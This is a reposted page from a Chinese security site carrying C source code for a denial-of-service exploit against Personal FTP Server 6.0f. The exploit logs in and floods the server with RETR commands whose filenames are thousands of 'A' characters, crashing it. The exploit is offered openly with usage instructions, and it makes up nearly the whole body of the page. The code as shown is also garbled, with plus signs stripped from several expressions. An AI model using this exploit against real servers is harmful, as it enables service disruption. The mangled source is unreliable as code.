• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > The Personal FTP Server 6.0f RETR Denial of Service Exploit

The Personal FTP Server 6.0f RETR Denial of Service Exploit

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了The Personal FTP Server 6.0f RETR Denial of Service Exploit ,其中包含6.0f,float f 6.0f,denial,denial是什么意思,denial of service等知识点,遇到此问题的同学们可以参考下
/*
*** The Personal FTP Server 6.0f RETR DOS exploit *** A vulnerability exists in the way Personal FTP Server handles
multiple RETR commands with overly long filenames.When confronted
with such consecutive requests the server will crash. Usage : ./pftpdos ip port user password
Ex. : ./pftpdos 127.0.0.1 21 test test Personal FTP Server homepage: http://www.michael-roth-software.de/ Discovey POC by Shinnok raydenxy [at] yahoo <dot> com
http://shinnok.evonet.ro */ #include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>
#include <malloc.h>
#include <errno.h> int
min (int x, int y)
{
if (x < y)return x;
else
return y;
}
extern int errno; int
main (int argc, char *argv[])
{
struct sockaddr_in server;
int i, t, s;
char *req, *buff;
s = socket (AF_INET, SOCK_STREAM, 0);
bzero (&server, sizeof (server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr (argv[1]);
server.sin_port = htons (atoi (argv[2]));
connect (s, (struct sockaddr *) &server, sizeof (struct sockaddr));
req = malloc (sizeof (char) * \
(((strlen (argv[3]) - strlen (argv[4])) \
min (strlen (argv[3]), strlen (argv[4])) 8)));
sprintf (req, "USER %s\xD\xA", argv[3]);
write (s, req, strlen (req));
sprintf (req, "PASS %s\xD\xA", argv[4]);
write (s, req, strlen (req));
free (req);
for (i = 1; i <= 5; i )
{
t = (sizeof (char) * 1000 * i);
buff = malloc (t 1);
memset (buff, 'A', t);
buff[t 1] = '\0';
req = malloc (t 9);
sprintf (req, "RETR %s\xD\xA", buff);
if (write (s, req, strlen (req)) == -1)
{
perror (NULL);
printf ("Target pwned!\n", errno);
}
free (req);
free (buff);
sleep (1);
}
close (s);
return (EXIT_SUCCESS);
}
</div>

您可能想查找下面的文章:

  • The Personal FTP Server 6.0f RETR Denial of Service Exploit

相关文章

  • NoName Script
  • minb 0.1.0 Remote Code Execution Exploit
  • CodeDB (list.php lang) Local File Inclusion Vulnerability
  • HockeySTATS Online 2.0 Multiple Remote SQL Injection Vulnerabilities
  • Simple PHP Blog (SPHPBlog)
  • Cisco IOS 12.3(18) FTP Server Remote Exploit (attached to gdb)
  • HIOX Random Ad 1.3 Arbitrary Add Admin User Exploit
  • Linux Kernel
  • Easy Photo Gallery 2.1 XSS/FD/Bypass/SQL Injection Exploit
  • GeekLog

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • MS Windows (.doc File) Malformed Pointers Denial of Service Exploit
    • CodeDB (list.php lang) Local File Inclusion Vulnerability
    • Kaminsky DNS Cache Poisoning Flaw Exploit for Domains
    • MFORUM 0.1a Arbitrary Add-Admin Vulnerability
    • PHPizabi 0.848b C1 HFP1 Remote Code Execution Exploit
    • fuzzylime cms 3.01 (polladd.php poll) Remote Code Execution Exploit (pl)
    • Simple DNS Plus
    • Galatolo Web Manager 1.3a
    • Safari Quicktime
    • Easy Photo Gallery 2.1 XSS/FD/Bypass/SQL Injection Exploit

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有